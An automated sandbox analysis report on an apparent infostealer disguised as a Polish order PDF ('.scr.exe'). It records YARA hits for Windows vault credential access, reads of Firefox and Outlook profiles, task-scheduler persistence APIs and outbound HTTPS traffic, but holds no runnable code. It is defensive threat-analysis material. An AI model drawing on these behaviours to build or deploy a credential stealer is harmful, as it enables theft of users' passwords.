Source: Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1616908151.0000000007050000.00000004.08000000.00040000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1601771242.000000000339D000.00000004.00000800.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1603204993.0000000004E8D000.00000004.00000800.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1603204993.0000000004DAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-netJ
Source: Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1616908151.0000000007050000.00000004.08000000.00040000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1601771242.000000000339D000.00000004.00000800.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1603204993.0000000004E8D000.00000004.00000800.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1603204993.0000000004DAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-neti
Source: Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1616908151.0000000007050000.00000004.08000000.00040000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1601771242.000000000339D000.00000004.00000800.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1603204993.0000000004E8D000.00000004.00000800.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1603204993.0000000004DAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1601771242.0000000003519000.00000004.00000800.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1616908151.0000000007050000.00000004.08000000.00040000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1601771242.000000000339D000.00000004.00000800.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1603204993.0000000004E8D000.00000004.00000800.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1601771242.000000000328E000.00000004.00000800.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1603204993.0000000004DAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1616908151.0000000007050000.00000004.08000000.00040000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1603204993.0000000004E8D000.00000004.00000800.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1603204993.0000000004DAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354

Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707

Source: unknown

HTTPS traffic detected: 172.67.74.152:443 -> 192.168.2.7:49707 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 12.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.503db88.11.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.503db88.11.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: Zam#U00f3wienie Z2300056_pdf .scr.exe

Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Code function: 0_2_05F343E8	0_2_05F343E8
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Code function: 0_2_05F34836	0_2_05F34836
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Code function: 0_2_05F343D9	0_2_05F343D9
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Code function: 0_2_05F3CA18	0_2_05F3CA18
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Code function: 0_2_05F3CA09	0_2_05F3CA09
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Code function: 0_2_0798D7B0	0_2_0798D7B0
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Code function: 0_2_07970006	0_2_07970006
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Code function: 0_2_07970040	0_2_07970040
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Code function: 12_2_0187B1D7	12_2_0187B1D7
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Code function: 12_2_0187DBC8	12_2_0187DBC8
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Code function: 12_2_01874A98	12_2_01874A98
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Code function: 12_2_01873E80	12_2_01873E80
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Code function: 12_2_018741C8	12_2_018741C8
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Code function: 12_2_06D60FE0	12_2_06D60FE0
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Code function: 12_2_06D65CE8	12_2_06D65CE8
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Code function: 12_2_06D64558	12_2_06D64558
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Code function: 12_2_06D63520	12_2_06D63520
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Code function: 12_2_06D6A0F0	12_2_06D6A0F0
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Code function: 12_2_06D6E071	12_2_06D6E071
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Code function: 12_2_06D69190	12_2_06D69190
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Code function: 12_2_06D65608	12_2_06D65608
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Code function: 12_2_06D63C53	12_2_06D63C53
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Code function: 12_2_06D602F9	12_2_06D602F9
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Code function: 12_2_06D6C318	12_2_06D6C318

Source: Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1601771242.0000000003519000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs Zam#U00f3wienie Z2300056_pdf .scr.exe
Source: Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1616908151.0000000007050000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs Zam#U00f3wienie Z2300056_pdf .scr.exe
Source: Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1610416024.0000000005F40000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs Zam#U00f3wienie Z2300056_pdf .scr.exe
Source: Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1603204993.0000000004FB2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs Zam#U00f3wienie Z2300056_pdf .scr.exe
Source: Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1603204993.0000000004EFB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs Zam#U00f3wienie Z2300056_pdf .scr.exe
Source: Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1611989063.0000000006A80000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMxfql.dll" vs Zam#U00f3wienie Z2300056_pdf .scr.exe
Source: Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1601096365.000000000141E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs Zam#U00f3wienie Z2300056_pdf .scr.exe
Source: Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1601771242.0000000003307000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename75eb8ca0-7cc6-4b20-aa24-d9913f8bd473.exe4 vs Zam#U00f3wienie Z2300056_pdf .scr.exe
Source: Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1603204993.000000000468E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMxfql.dll" vs Zam#U00f3wienie Z2300056_pdf .scr.exe
Source: Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1603204993.0000000005028000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename75eb8ca0-7cc6-4b20-aa24-d9913f8bd473.exe4 vs Zam#U00f3wienie Z2300056_pdf .scr.exe
Source: Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000000.1236884979.0000000000D52000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameFqquyief.exe vs Zam#U00f3wienie Z2300056_pdf .scr.exe
Source: Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1601771242.0000000003162000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs Zam#U00f3wienie Z2300056_pdf .scr.exe
Source: Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1601771242.000000000339D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs Zam#U00f3wienie Z2300056_pdf .scr.exe
Source: Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1603204993.0000000004E8D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs Zam#U00f3wienie Z2300056_pdf .scr.exe
Source: Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1601771242.000000000328E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename75eb8ca0-7cc6-4b20-aa24-d9913f8bd473.exe4 vs Zam#U00f3wienie Z2300056_pdf .scr.exe
Source: Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1603204993.0000000004DAD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs Zam#U00f3wienie Z2300056_pdf .scr.exe
Source: Zam#U00f3wienie Z2300056_pdf .scr.exe, 0000000C.00000002.2484716427.00000000012F9000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs Zam#U00f3wienie Z2300056_pdf .scr.exe
Source: Zam#U00f3wienie Z2300056_pdf .scr.exe, 0000000C.00000002.2484111274.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: OriginalFilename75eb8ca0-7cc6-4b20-aa24-d9913f8bd473.exe4 vs Zam#U00f3wienie Z2300056_pdf .scr.exe
Source: Zam#U00f3wienie Z2300056_pdf .scr.exe, 0000000C.00000002.2485376475.0000000001488000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs Zam#U00f3wienie Z2300056_pdf .scr.exe
Source: Zam#U00f3wienie Z2300056_pdf .scr.exe	Binary or memory string: OriginalFilenameFqquyief.exe vs Zam#U00f3wienie Z2300056_pdf .scr.exe

Source: Zam#U00f3wienie Z2300056_pdf .scr.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 12.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.503db88.11.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.503db88.11.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers

Source: 0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.5f40000.16.raw.unpack, ITaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask'
Source: 0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.5f40000.16.raw.unpack, TaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask', 'CreateFolder'
Source: 0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.5f40000.16.raw.unpack, Task.cs	Task registration methods: 'RegisterChanges', 'CreateTask'
Source: 0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.5f40000.16.raw.unpack, TaskService.cs	Task registration methods: 'CreateFromToken'
Source: 0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.4fb23c8.13.raw.unpack, ITaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask'
Source: 0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.4fb23c8.13.raw.unpack, TaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask', 'CreateFolder'

Source: 0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.5f40000.16.raw.unpack, TaskFolder.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.4fb23c8.13.raw.unpack, User.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
Source: 0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.4fb23c8.13.raw.unpack, TaskPrincipal.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.4fb23c8.13.raw.unpack, TaskSecurity.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
Source: 0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.4fb23c8.13.raw.unpack, TaskSecurity.cs	Security API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)
Source: 0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.5f40000.16.raw.unpack, Task.cs	Security API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.5f40000.16.raw.unpack, User.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
Source: 0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.5f40000.16.raw.unpack, TaskSecurity.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
Source: 0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.5f40000.16.raw.unpack, TaskSecurity.cs	Security API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)
Source: 0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.4fb23c8.13.raw.unpack, TaskFolder.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.4fb23c8.13.raw.unpack, Task.cs	Security API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.5f40000.16.raw.unpack, TaskPrincipal.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/1@2/3

Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Zam#U00f3wienie Z2300056_pdf .scr.exe.log

Jump to behavior

Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe

Mutant created: NULL

Source: Zam#U00f3wienie Z2300056_pdf .scr.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: Zam#U00f3wienie Z2300056_pdf .scr.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Jump to behavior

Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Zam#U00f3wienie Z2300056_pdf .scr.exe	ReversingLabs: Detection: 29%
Source: Zam#U00f3wienie Z2300056_pdf .scr.exe	Virustotal: Detection: 45%

Source: unknown	Process created: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe "C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe"
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process created: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe "C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe"
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process created: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe "C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Section loaded: wintypes.dll	Jump to behavior

Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source: Zam#U00f3wienie Z2300056_pdf .scr.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: Zam#U00f3wienie Z2300056_pdf .scr.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

